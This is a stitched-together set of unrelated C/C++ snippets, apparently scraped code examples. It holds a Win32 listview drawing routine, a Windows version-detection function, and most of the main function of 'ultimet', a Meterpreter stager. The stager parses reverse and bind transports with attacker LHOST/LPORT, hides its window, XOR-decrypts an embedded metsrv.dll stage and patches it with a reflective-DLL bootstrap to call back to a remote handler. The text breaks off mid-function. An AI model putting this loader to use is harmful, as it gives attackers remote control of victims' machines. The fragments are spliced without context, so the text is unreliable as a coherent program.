
					// Save the appropriate text in our buffer for the current column.
					switch ( i )
					{
						case 0:
						{
							swprintf_s( buf, MAX_PATH, L"%d", dis->itemID + 1 );
						}
						break;

						case 1:
						{
							buf = ( fi->filename != NULL ? fi->filename : L"" );
						}
						break;

						case 2:
						{
							buf = tbuf;	// Reset the buffer pointer.
							RIGHT_COLUMNS = DT_RIGHT;

							// Depending on our toggle, output the offset (db location) in either kilobytes or bytes.
							swprintf_s( buf, MAX_PATH, ( is_kbytes_c_offset == true ? L"%d B" : L"%d KB" ), ( is_kbytes_c_offset == true ? fi->header_offset : fi->header_offset / 1024 ) );
						}
						break;

						case 3:
						{
							RIGHT_COLUMNS = DT_RIGHT;

							unsigned int cache_entry_size = fi->size + ( fi->data_offset - fi->header_offset );

							// Depending on our toggle, output the size in either kilobytes or bytes.
							swprintf_s( buf, MAX_PATH, ( is_kbytes_c_size == true ? L"%d KB" : L"%d B" ), ( is_kbytes_c_size == true ? cache_entry_size / 1024 : cache_entry_size ) );
						}
						break;

						case 4:
						{
							RIGHT_COLUMNS = DT_RIGHT;

							// Depending on our toggle, output the offset (db location) in either kilobytes or bytes.
							swprintf_s( buf, MAX_PATH, ( is_kbytes_d_offset == true ? L"%d B" : L"%d KB" ), ( is_kbytes_d_offset == true ? fi->data_offset : fi->data_offset / 1024 ) );
						}
						break;

						case 5:
						{
							RIGHT_COLUMNS = DT_RIGHT;

							// Depending on our toggle, output the size in either kilobytes or bytes.
							swprintf_s( buf, MAX_PATH, ( is_kbytes_d_size == true ? L"%d KB" : L"%d B" ), ( is_kbytes_d_size == true ? fi->size / 1024 : fi->size ) );
						}
						break;

						case 6:
						{
							// Output the hex string in either lowercase or uppercase.
							int out = swprintf_s( buf, MAX_PATH, ( is_dc_lower == true ? L"%016llx" : L"%016llX" ), fi->data_checksum );

							if ( fi->v_data_checksum != fi->data_checksum )
							{
								swprintf_s( buf + out, MAX_PATH - out, ( is_dc_lower == true ? L" : %016llx" : L" : %016llX" ), fi->v_data_checksum );
							}
						}
						break;

						case 7:
						{
							// Output the hex string in either lowercase or uppercase.
							int out = swprintf_s( buf, MAX_PATH, ( is_hc_lower == true ? L"%016llx" : L"%016llX" ), fi->header_checksum );

							if ( fi->v_header_checksum != fi->header_checksum )
							{
								swprintf_s( buf + out, MAX_PATH - out, ( is_hc_lower == true ? L" : %016llx" : L" : %016llX" ), fi->v_header_checksum );
							}
						}
						break;

						case 8:
						{
							// Output the hex string in either lowercase or uppercase.
							swprintf_s( buf, MAX_PATH, ( is_eh_lower == true ? L"%016llx" : L"%016llX" ), fi->entry_hash );
						}
						break;

						case 9:
						{
							switch ( fi->si->system )
							{
								case WINDOWS_VISTA:
								{
									buf = L"Windows Vista";
								}
								break;

								case WINDOWS_7:
								{
									buf = L"Windows 7";
								}
								break;

								case WINDOWS_8:
								case WINDOWS_8v2:
								case WINDOWS_8v3:
								{
									buf = L"Windows 8";
								}
								break;

								case WINDOWS_8_1:
								{
									buf = L"Windows 8.1";
								}
								break;

								case WINDOWS_10:
								{
									buf = L"Windows 10";
								}
								break;

								default:
								{
									buf = L"Unknown";
								}
								break;
							}
						}
						break;

						case 10:
						{
							buf = fi->si->dbpath;
						}
						break;
					}

					// Get the dimensions of the listview column
					SendMessage( dis->hwndItem, LVM_GETCOLUMN, i, ( LPARAM )&lvc );

					last_rc = dis->rcItem;

					// This will adjust the text to fit nicely into the rectangle.
					last_rc.left = 5 + last_left;
					last_rc.right = lvc.cx + last_left - 5;

					// Save the last left position of our column.
					last_left += lvc.cx;

					// Save the height and width of this region.
					int width = last_rc.right - last_rc.left;
					if ( width <= 0 )
					{
						continue;
					}

					int height = last_rc.bottom - last_rc.top;

					// Normal text position.
					RECT rc;
					rc.top = 0;
					rc.left = 0;
					rc.right = width;
					rc.bottom = height;

					// Shadow text position.
					//RECT rc2 = rc;
					//rc2.left += 1;
					//rc2.top += 1;
					//rc2.right += 1;
					//rc2.bottom += 1;

					// Create and save a bitmap in memory to paint to.
					HDC hdcMem = CreateCompatibleDC( dis->hDC );
					HBITMAP hbm = CreateCompatibleBitmap( dis->hDC, width, height );
					HBITMAP ohbm = ( HBITMAP )SelectObject( hdcMem, hbm );
					DeleteObject( ohbm );
					DeleteObject( hbm );
					HFONT ohf = ( HFONT )SelectObject( hdcMem, hFont );
					DeleteObject( ohf );

					// Transparent background for text.
					SetBkMode( hdcMem, TRANSPARENT );

					// Draw selected text
					if ( selected == true )
					{
						// Fill the background.
						HBRUSH color = CreateSolidBrush( ( COLORREF )GetSysColor( COLOR_HIGHLIGHT ) );
						FillRect( hdcMem, &rc, color );
						DeleteObject( color );

						// Shadow color - black.
						//SetTextColor( hdcMem, RGB( 0x00, 0x00, 0x00 ) );
						//DrawText( hdcMem, buf, -1, &rc2, DT_NOPREFIX | DT_SINGLELINE | DT_VCENTER | DT_END_ELLIPSIS | RIGHT_COLUMNS );

						// White text.
						SetTextColor( hdcMem, RGB( 0xFF, 0xFF, 0xFF ) );
						DrawText( hdcMem, buf, -1, &rc, DT_NOPREFIX | DT_SINGLELINE | DT_VCENTER | DT_END_ELLIPSIS | RIGHT_COLUMNS );

						BitBlt( dis->hDC, dis->rcItem.left + last_rc.left, last_rc.top, width, height, hdcMem, 0, 0, SRCCOPY );
					}
					else	// Draw normal text.
					{
						// Fill the background.
						HBRUSH color = CreateSolidBrush( ( COLORREF )GetSysColor( COLOR_WINDOW ) );
						FillRect( hdcMem, &rc, color );
						DeleteObject( color );

						// Shadow color - light grey.
						//SetTextColor( hdcMem, RGB( 0xE0, 0xE0, 0xE0 ) );
						//DrawText( hdcMem, buf, -1, &rc2, DT_NOPREFIX | DT_SINGLELINE | DT_VCENTER | DT_END_ELLIPSIS | RIGHT_COLUMNS );

						// Show red text if our checksums don't match, green text for entries with extended info, and black text for everything else.
						COLORREF text_color = RGB( 0x00, 0x00, 0x00 );
						if ( i == 1 && fi->ei != NULL )
						{
							text_color = RGB( 0x00, 0x80, 0x00 );
						}
						else if ( ( i == 6 && ( fi->v_data_checksum != fi->data_checksum ) ) ||
								  ( i == 7 && ( fi->v_header_checksum != fi->header_checksum ) ) )
						{
							text_color = RGB( 0xFF, 0x00, 0x00 );
						}
						SetTextColor( hdcMem, text_color );
						DrawText( hdcMem, buf, -1, &rc, DT_NOPREFIX | DT_SINGLELINE | DT_VCENTER | DT_END_ELLIPSIS | RIGHT_COLUMNS );

						BitBlt( dis->hDC, dis->rcItem.left + last_rc.left, last_rc.top, width, height, hdcMem, 0, 0, SRCAND );
					}

					// Delete our back buffer.
					DeleteDC( hdcMem );
				}
			}
			return TRUE;
		}
		break;

		case WM_CLOSE:
		{
			// Prevent the possibility of running additional processes.
			EnableWindow( hWnd, FALSE );
			ShowWindow( hWnd, SW_HIDE );
			EnableWindow( g_hWnd_image, FALSE );
			ShowWindow( g_hWnd_image, SW_HIDE );
			EnableWindow( g_hWnd_info, FALSE );
			ShowWindow( g_hWnd_info, SW_HIDE );
			EnableWindow( g_hWnd_property, FALSE );
			ShowWindow( g_hWnd_property, SW_HIDE );
			EnableWindow( g_hWnd_scan, FALSE );
			ShowWindow( g_hWnd_scan, SW_HIDE );

			// If we're in a secondary thread, then kill it (cleanly) and wait for it to exit.
			if ( in_thread == true )
			{
				CloseHandle( ( HANDLE )_beginthreadex( NULL, 0, &cleanup, ( void * )NULL, 0, NULL ) );
			}
			else	// Otherwise, destroy the window normally.
			{
				g_kill_thread = true;
				DestroyWindow( hWnd );
			}

			return 0;
		}
		break;

		case WM_DESTROY_ALT:
		{
			DestroyWindow( hWnd );
		}
		break;

		case WM_DESTROY:
		{
			// Get the number of items in the listview.
			int item_count = SendMessage( g_hWnd_list, LVM_GETITEMCOUNT, 0, 0 );

			LVITEM lvi = { NULL };
			lvi.mask = LVIF_PARAM;

			fileinfo *fi = NULL;

			// Go through each item, and free their lParam values. current_fileinfo will get deleted here.
			for ( int i = 0; i < item_count; ++i )
			{
				lvi.iItem = i;
				SendMessage( g_hWnd_list, LVM_GETITEM, 0, ( LPARAM )&lvi );

				fi = ( fileinfo * )lvi.lParam;
				if ( fi != NULL )
				{
					if ( fi->si != NULL )
					{
						--( fi->si->count );

						// Remove our shared information from the linked list if there's no more items for this database.
						if ( fi->si->count == 0 )
						{
							free( fi->si );
						}
					}

					cleanup_extended_info( fi->ei );

					// First free the filename pointer.
					free( fi->filename );
					// Then free the fileinfo structure.
					free( fi );
				}
			}

			// Delete our image object.
			if ( gdi_image != NULL )
			{
				delete gdi_image;
			}

			cleanup_blank_entries();

			// Since these aren't owned by a window, we need to destroy them.
			DestroyMenu( g_hMenuSub_context );
			DestroyMenu( g_hMenuSub_ei_context );

			PostQuitMessage( 0 );
			return 0;
		}
		break;

		default:
		{
			return DefWindowProc( hWnd, msg, wParam, lParam );
		}
		break;
	}
	return TRUE;
}
std::string ServerInfoServlet::getSystemInfo(){
    int bufferSize = 100;
    wchar_t* str = new wchar_t[bufferSize];
//#pragma warning (disable : 4996)
    OSVERSIONINFOEX osvi;
    SYSTEM_INFO si;
    BOOL bOsVersionInfoEx;
    DWORD dwType; ZeroMemory(&si, sizeof(SYSTEM_INFO));
    ZeroMemory(&osvi, sizeof(OSVERSIONINFOEX));
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
#pragma warning (disable : 4996)
    bOsVersionInfoEx = GetVersionEx((OSVERSIONINFO*)&osvi);
#pragma warning (default : 4996)
    if (bOsVersionInfoEx == 0)
        return false;
    // Call GetNativeSystemInfo if supported or GetSystemInfo otherwise.
    PGNSI pGNSI = (PGNSI)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetNativeSystemInfo");
    if (NULL != pGNSI)
        pGNSI(&si);
    else
        GetSystemInfo(&si);
    // Check for unsupported OS
    if (VER_PLATFORM_WIN32_NT != osvi.dwPlatformId || osvi.dwMajorVersion <= 4) {
        return false;
    }
    std::wstringstream os;
    os << L"Microsoft ";
    // Test for the specific product.
    if (osvi.dwMajorVersion == 6)
    {
        if (osvi.dwMinorVersion == 0)
        {
            if (osvi.wProductType == VER_NT_WORKSTATION)
                os << "Windows Vista ";
            else
                os << "Windows Server 2008 ";
        }
        else if (osvi.dwMinorVersion == 1)
        {
            if (osvi.wProductType == VER_NT_WORKSTATION)
                os << "Windows 7 ";
            else
                os << "Windows Server 2008 R2 ";
        }
        else if (osvi.dwMinorVersion == 2){
            os << "Windows 8 ";
        }
        else if (osvi.dwMinorVersion == 3){
            os << "Windows 8.1 ";
        }
        else{
            os << "Unkown OS ";
        }
        PGPI pGPI = (PGPI)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetProductInfo");
        pGPI(osvi.dwMajorVersion, osvi.dwMinorVersion, 0, 0, &dwType);
        switch (dwType)
        {
        case PRODUCT_ULTIMATE:
            os << "Ultimate Edition";
            break;
        case PRODUCT_PROFESSIONAL:
            os << "Professional";
            break;
        case PRODUCT_HOME_PREMIUM:
            os << "Home Premium Edition";
            break;
        case PRODUCT_HOME_BASIC:
            os << "Home Basic Edition";
            break;
        case PRODUCT_ENTERPRISE:
            os << "Enterprise Edition";
            break;
        case PRODUCT_BUSINESS:
            os << "Business Edition";
            break;
        case PRODUCT_STARTER:
            os << "Starter Edition";
            break;
        case PRODUCT_CLUSTER_SERVER:
            os << "Cluster Server Edition";
            break;
        case PRODUCT_DATACENTER_SERVER:
            os << "Datacenter Edition";
            break;
        case PRODUCT_DATACENTER_SERVER_CORE:
            os << "Datacenter Edition (core installation)";
            break;
        case PRODUCT_ENTERPRISE_SERVER:
            os << "Enterprise Edition";
            break;
        case PRODUCT_ENTERPRISE_SERVER_CORE:
            os << "Enterprise Edition (core installation)";
            break;
        case PRODUCT_ENTERPRISE_SERVER_IA64:
            os << "Enterprise Edition for Itanium-based Systems";
            break;
        case PRODUCT_SMALLBUSINESS_SERVER:
            os << "Small Business Server";
            break;
        case PRODUCT_SMALLBUSINESS_SERVER_PREMIUM:
            os << "Small Business Server Premium Edition";
            break;
        case PRODUCT_STANDARD_SERVER:
            os << "Standard Edition";
            break;
        case PRODUCT_STANDARD_SERVER_CORE:
            os << "Standard Edition (core installation)";
            break;
        case PRODUCT_WEB_SERVER:
            os << "Web Server Edition";
            break;
        }
    }
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
    {
        if (GetSystemMetrics(SM_SERVERR2))
            os << "Windows Server 2003 R2, ";
        else if (osvi.wSuiteMask & VER_SUITE_STORAGE_SERVER)
            os << "Windows Storage Server 2003";
        else if (osvi.wSuiteMask & VER_SUITE_WH_SERVER)
            os << "Windows Home Server";
        else if (osvi.wProductType == VER_NT_WORKSTATION &&
            si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
        {
            os << "Windows XP Professional x64 Edition";
        }
        else
            os << "Windows Server 2003, ";  // Test for the server type.
        if (osvi.wProductType != VER_NT_WORKSTATION)
        {
            if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64)
            {
                if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                    os << "Datacenter Edition for Itanium-based Systems";
                else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                    os << "Enterprise Edition for Itanium-based Systems";
            }
            else if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
            {
                if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                    os << "Datacenter x64 Edition";
                else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                    os << "Enterprise x64 Edition";
                else
                    os << "Standard x64 Edition";
            }
            else
            {
                if (osvi.wSuiteMask & VER_SUITE_COMPUTE_SERVER)
                    os << "Compute Cluster Edition";
                else if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                    os << "Datacenter Edition";
                else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                    os << "Enterprise Edition";
                else if (osvi.wSuiteMask & VER_SUITE_BLADE)
                    os << "Web Edition";
                else
                    os << "Standard Edition";
            }
        }
    }
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
    {
        os << "Windows XP ";
        if (osvi.wSuiteMask & VER_SUITE_PERSONAL)
            os << "Home Edition";
        else
            os << "Professional";
    }
    if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
    {
        os << "Windows 2000 ";  if (osvi.wProductType == VER_NT_WORKSTATION)
        {
            os << "Professional";
        }
        else
        {
            if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
                os << "Datacenter Server";
            else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
                os << "Advanced Server";
            else
                os << "Server";
        }
    }
    // Include service pack (if any) and build number.
    if (wcslen(osvi.szCSDVersion) > 0) {
        os << " " << osvi.szCSDVersion;
    }
    os << L" (build " << osvi.dwBuildNumber << L")"; if (osvi.dwMajorVersion >= 6) {
        if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
            os << ", 64-bit";
        else if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_INTEL)
            os << ", 32-bit";
    }
    wcscpy_s(str, bufferSize, os.str().c_str());
    // convert wchar* to string
    std::wstring_convert<std::codecvt_utf8_utf16<wchar_t>> converter;
    std::string narrow = converter.to_bytes(str);
    delete str;

    return narrow;
}
Пример #25
0
int wmain(int argc, wchar_t *argv[])
{
	PAYLOAD_SETTINGS payload_settings = {0};	// That's defined at main.h
	unsigned char* buffer = nullptr;			// This will hold the loaded stage
	unsigned char* TempBuffer = nullptr;		// This will have stuff set-up "like the socket", then the stage will be copied over.
	DWORD bufferSize = 0;						// buffer length
	DWORD StageSize = 0;						// if we're using encryption ... stage size = (bufferSize - 16) 
	DWORD index = 0;							// will be used to locate offset of stuff to be patched "transport, the url ... etc."
	char EncKey[17] = {0};						// XOR Encryption key
	void (*function)() = nullptr;				// The casted-to-be-function after we have everything in place.
	bool FallbackToStager = false;				// If the stage is not bundled in the exe as a resource, or "-f" is not specified, ultimet falls back to work as a stager: if this is true, metsvc will not be availabe. 
	bool metsvc = false;						// Is metsvc chosen as the transport? this will only work if we have the stage upfront, otherwise it will fail.
	bool bBind = false;							// Are we bind payload?.
	bool MSFPAYLOAD = false;					// Create a msfpayload-like exe instead of executing? 
	int err = 0;								// Errors
	wchar_t UNICODEtransport_2[64] = {0};		// Sorry, I'm out of variable names ...

	//If we will get options from resource
	wchar_t UNICODEtransport[64] = {0};
	wchar_t UNICODElhost[128] = {0};
	wchar_t UNICODElport[32] = {0};

	char ANSItransport[64] = {0};
	char ANSIlhost[128] = {0};
	char ANSIlport[32] = {0};

	//If "-f" is specified (load stage from local file)
	wchar_t StageFilePath[MAX_PATH] = {0};		// If the stage is going to be loaded from a dll file from the filesystem, path will be put here. 

	// reverse_metsvc specific Variables
	SOCKET ConnectSocket = INVALID_SOCKET;		// Socket ... will be used for reverse_metsvc and reverse_tcp

	// HTTP(S) Specific Variables
	char url[512] = {0};	//Full URL, 512 bytes are enough. 
	/*************
	Program Start
	**************/

	//This will be used later for deciding if we can get options from resource...
	BOOL validTransport = false;
	if(GetOptionsFromResource(UNICODEtransport,UNICODElhost,UNICODElport)) //
		validTransport = IsThisAValidTransport(UNICODEtransport);


	///////////////////////////////// Parsing from command line ///////////////////////////////////
	if(argc>1) //Parsing options from resource failed, let's parse options from command line 
	{
		print_header();								// as it sounds...

		// Is `--reset` been given as the first argument?
		// if yes, we'll copy ourselfs to a file called `ultimet_reset.exe`, then update the options resource to its default
		if(wcscmp(argv[1],L"--reset") == 0)
		{
			dprintf(L"[*] Creating a `clean` ultimet copy with all options reset to default ... \n");
			CopyFile(argv[0],L"ultimet_reset.exe",FALSE);
			ResourceOptionsReset();
			exit(1);
		}

		// Is `--remove-stage` been given as the first argument?
		// if yes, we'll copy ourselfs to a file called `ultimet_lite.exe`, then update the remove resource that contains the stage.
		if(wcscmp(argv[1],L"--remove-stage") == 0)
		{
			dprintf(L"[*] Creating a new file with stage removed... \n");
			CopyFile(argv[0],L"ultimet_no_stage.exe",FALSE);
			RemoveStage();
			exit(1);
		}
		// Parse command line arguments, Fill the PAYLOAD_SETTINGS struct et'all... idea from "http://www.cplusplus.com/forum/articles/13355/"
		for (int i = 1; i < argc; i++) 
		{
			if (i != argc) // Check that we haven't finished parsing already
				if (wcscmp(argv[i], L"-t") == 0) { //Transport; available options are reverse_tcp, reverse_metsvc, REVERSE_HTTP, REVERSE_HTTPS ... case doesn't matter.
					payload_settings.TRANSPORT = argv[i + 1];
					_wcsupr(payload_settings.TRANSPORT);  // Wide-String-to-uppercase
					wcscpy(UNICODEtransport_2,payload_settings.TRANSPORT); //we will use UNICODEtransport_2 if we've been asked to do msfpayload
					if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0) 
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
					}
					else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
						metsvc = true;
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP";
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS";
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
						bBind = true;
					}
					else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0)
					{
						payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
						metsvc = true;
						bBind = true;
					}

					else {
						dprintf(L"[-] Unknown transport: \"%s\"\n[-] Valid transports are reverse_tcp, reverse_metsvc, reverse_http,", payload_settings.TRANSPORT);
						dprintf(L"\n    reverse_https, bind_tcp and bind_metsvc.\n");  
						exit(1);
					}

					// End of Transport checks
				} else if (wcscmp(argv[i], L"-h") == 0) {		//LHOST
					payload_settings.LHOST = argv[i + 1];
				} else if (wcscmp(argv[i], L"-p") == 0) {		//LPORT
					payload_settings.LPORT = argv[i + 1];
				} else if (wcscmp(argv[i], L"-ct") == 0) {		//SessionCommunicationTimeout in seconds - 300 by default
					payload_settings.comm_timeout = _wtoi(argv[i + 1]);
				} else if (wcscmp(argv[i], L"-et") == 0) {		//SessionExpirationTimeout in seconds - 604800 by default
					payload_settings.expiration_timeout = _wtoi(argv[i + 1]);
				}  else if (wcscmp(argv[i], L"-ua") == 0) {		//USER_AGENT
					payload_settings.USER_AGENT = argv[i + 1];
				}  else if (wcscmp(argv[i], L"-f") == 0) {		//Should we load the stage from a file rather than from the resource?
					wcscpy_s(StageFilePath,argv[i + 1]);
				}  else if (wcscmp(argv[i], L"--help") == 0) {		//Print usage and quit
					print_header();
					usage();
					exit(1);
				}  else if (wcscmp(argv[i], L"--msfpayload") == 0) {		//are we going to mimic msfpayload?
					MSFPAYLOAD = true;
				}
		}
		//Do we have the minimum parameters?
		if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL)
		{
			dprintf(L"[-] Not enough parameters! \n\n");
			usage();
			exit(1);
		} else validTransport = false; // This is a bit confusing, but works: if we have the minimum info to get started, we will set validTransport to false so we will not start parsing options from resource.
		
		//////////////////////// start of msfpayload //////////////////////////////
		if(MSFPAYLOAD) // We will create a new exe with specified options, then exit
		{
			dprintf(L"[*] Switching to MSFPAYLOAD mode, parsing options ... \n");
			dprintf(L"\tTRANSPORT\t:\t%s\n",UNICODEtransport_2);
			dprintf(L"\tLHOST\t\t:\t%s\n",payload_settings.LHOST);
			dprintf(L"\tLPORT\t\t:\t%s\n",payload_settings.LPORT);

			UnicodeToAnsi(ANSItransport, UNICODEtransport_2);
			UnicodeToAnsi(ANSIlhost, payload_settings.LHOST);
			UnicodeToAnsi(ANSIlport, payload_settings.LPORT);

			msfpayload(ANSItransport, ANSIlhost, ANSIlport);
			//msfpayload will exit ...
		}

		///////////////////////////////// Parsing from resource ///////////////////////////////////
	/*	Will try to parse options from resource, 
		this can fail in two ways:
			one: if we couldn't read from resource
			two: we read options from resource correctly, however, the smarty-pants who put the configuration did not set a valid transport
		So, we'll check for any of those two errors, if any of them failed, we'll proceed to other options to get the parameters from.
	*/
	}
	else if(validTransport) //if true means that TRNSPORT, LHOST & LPORT are retrieved successfully from the resource AND the retrieved transport is a valid one.
	{
		Stealth(); // hide window :) 
		payload_settings.TRANSPORT	=	UNICODEtransport;
		payload_settings.LHOST		=	UNICODElhost;
		payload_settings.LPORT		=	UNICODElport;
		
		//Start of TRANSPORT Checks and adjustments
		_wcsupr_s(payload_settings.TRANSPORT, wcslen(payload_settings.TRANSPORT) * sizeof(wchar_t)); // Wide-String-to-uppercase
		if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_TCP") == 0) 
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
		}
		else if(wcscmp(payload_settings.TRANSPORT,L"REVERSE_METSVC") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
			metsvc = true;
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTP") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTP";
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"REVERSE_HTTPS") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_HTTPS";
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"BIND_TCP") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
			bBind = true;
		}
		else if (wcscmp(payload_settings.TRANSPORT,L"BIND_METSVC") == 0)
		{
			payload_settings.TRANSPORT = L"METERPRETER_TRANSPORT_SSL";
			metsvc = true;
			bBind = true;
		}
	}
	// check...
	if(payload_settings.TRANSPORT == NULL || payload_settings.LPORT == NULL || payload_settings.LHOST == NULL)
	{
		dprintf(L"[-] Not enough parameters! \n\n");
		print_header();
		usage();
		exit(1);
	}

	//Have we been asked to load the stage from a file?
	if(wcscmp(StageFilePath, L"") != 0)
	{
		dprintf(L"[*] Loading stage into memory from file \"%s\"\n", StageFilePath);
		bufferSize = CopyStageToBuffer(StageFilePath, &buffer);
	} else { // If not, We'll try to load the stage from the resource ...

		// Read resource into buffer ...
		dprintf(L"[*] Loading stage into memory from resource...\n");
		bufferSize = ResourceToBuffer(101, (LPCTSTR)L"BINARY", &buffer); //copy encrypted stage from resource to buffer
		if (bufferSize == 0) // if something went wrong...
		{
			FallbackToStager = true; // We will function in "stager" mode.
			if(metsvc) // Ok, we will fallback to stager mode, however, metsvc will not be available in stager mode ... right?
			{
				dprintf(L"\n[-] Unable to load stage from resource, and \"-f\" not specified ... yet you've chosen metsvc!\n");
				dprintf(L"    sorry sweetheart, that's not going to work, metsvc *requires* that the stage is available upfront.\n");
				dprintf(L"[-] ... will exit.\n");
				exit(1);
			} else
			{
				dprintf(L"[!] Couldn't read stage from resource & \"-f\" not speified; falling back to \"stager\" mode...\n");
			}
		}
	}
	/*///////////////////////////
	/////////////////////////////
	Warning! Program split ahead!
	/////////////////////////////
	/////////////////////////////

	At this given point, we know where the stage is going to be loaded from,
	either from resource (default), file or from the multi/handler, which will be handled differently.

	========
	Wrapping up what happened so far:
	if(-f specified)
		load_stager_from_file
			else
				load_stage_from_resource

	---
	buffer == stage?;
	if (failed?) set FallbackToStager = true;

	if(FallbackToStager){
		Act as a "regular" stand-alone meterpreter exe;
			populate buffer,
				if(tcp) adjust buffer usng ASM voodoo;
	} else {
		buffer already has the stage,
			decrypt it,
				patch it, 
					do your stuff (socket, url building ..etc.)
	}
	now buffer == stage!!
	((void (*)())buffer)();
	_____________________
	Ready? let's do it...
	*/

	if(FallbackToStager)
		//--------- Start of "working as a stager" ------------//
	{

		if(wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_SSL") == 0) //bind_tcp & reverse_tcp have same transport.
		{
			if(bBind)		/* bind_tcp */
				StagerBindTCP(payload_settings.LHOST,payload_settings.LPORT);
			else
				StagerRevereTCP(payload_settings.LHOST,payload_settings.LPORT);
		} 

		else
		{
			StagerReverseHTTP(payload_settings.LHOST,payload_settings.LPORT,payload_settings.TRANSPORT);
		}
	}
		//--------- End of "working as a stager" ------------//
	
	
	else //This is where "working as an inline stand-alone exe" stuff starts...
	{
		//Is the stage encrypted?
		if(memcmp(&buffer[0],"MZ",2))
		{
			dprintf(L"[!] Looks like loaded stage is encrypted, Locating Encryption key...\n");
			GetKeyFromBuffer(buffer, EncKey, 16);
			printf("[*] \"%s\" will be used; decrypting...\n", EncKey);
			XORcrypt(buffer, EncKey, bufferSize);
			if(memcmp(&buffer[16],"MZ",2))
			{
				dprintf(L"[-] Something went really wrong: bad resource, wrong encryption key, or maybe something else ... will exit!\n");
				exit(1);
			}
			dprintf(L"[*] Looks like stage decrypted correctly, proceeding to patching stage...\n");
			buffer = buffer + 16;
			StageSize = bufferSize - 16;
		} else {
			dprintf(L"[*] Looks like loaded stage is a regular DLL, proceeding to patching stage..\n");
			StageSize = bufferSize;
		}

		/////////////////////////////////////////
		/****************************************
		*		Patching Stage in memory.		*
		****************************************/
		/////////////////////////////////////////

		// Patching transport 
		index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_transport, (int)strlen(global_meterpreter_transport));
		if (index == 0) // if the transport is not found ...
		{
			dprintf(L"[-] Couldn't locate transport string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
			exit(1);
		}
		dprintf(L"[*] Patching transport: Offset 0x%08x ->  \"%s\"\n", index, payload_settings.TRANSPORT );
		PatchString(buffer, payload_settings.TRANSPORT, index, wcslen(payload_settings.TRANSPORT));

		// Patching ReflectiveDLL bootstrap <- by Anwar ... thanks Anwar!
		index = 0;  //rewind

		
		DWORD Address = ReflectiveLoaderOffset((DWORD)buffer)-7;
		dprintf(L"[*] Patching ReflectiveDll Bootstrap: \"MZ\" Offset 0x%08x\n", index);
		unsigned char AddressChar[4];		
		memcpy((void*)&AddressChar, (void*)(unsigned char*)&Address,4);	// What the !$#% ... will discuss with anwar those casted-casts...
		memcpy(ReflectiveDllBootStrap + 15, (void*)AddressChar, 4);

		//for ( unsigned int i=0; i<sizeof(ReflectiveDllBootStrap); i++) { printf("%x ",(unsigned char)ReflectiveDllBootStrap[i]); }  
		memcpy(buffer, ReflectiveDllBootStrap, 62);//overwrite dos header with the ReflectiveDll bootstrap

		//////////////////////////////////////////
		//  Stuff needed for HTTP/HTTPS only!!  //
		//////////////////////////////////////////
		if((wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTP") == 0) || (wcscmp(payload_settings.TRANSPORT,L"METERPRETER_TRANSPORT_HTTPS") == 0))
		{

			//Patching UserAgent
			index = 0; //rewind.
			index = binstrstr(buffer, (int)StageSize, (unsigned char*)global_meterpreter_ua, (int)strlen(global_meterpreter_ua));
			if (index == 0) // if the UA is not found ...
			{
				dprintf(L"[-] Couldn't locate UA string, this means that the resource is not metsrv.dll, or something went wrong decrypting it.");
				exit(1);
			}
			if(payload_settings.USER_AGENT == NULL)
			{
				dprintf(L"[!] No UserAgent specified, using default one ...\n");
				payload_settings.USER_AGENT = L"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0\x00";
			}
			dprintf(L"[*] Patching UA: Offset 0x%08x -> \"%s\"\n", index, payload_settings.USER_AGENT);
			PatchString(buffer, payload_settings.USER_AGENT, index, wcslen(payload_settings.USER_AGENT));

			//Patching global expiration timeout.
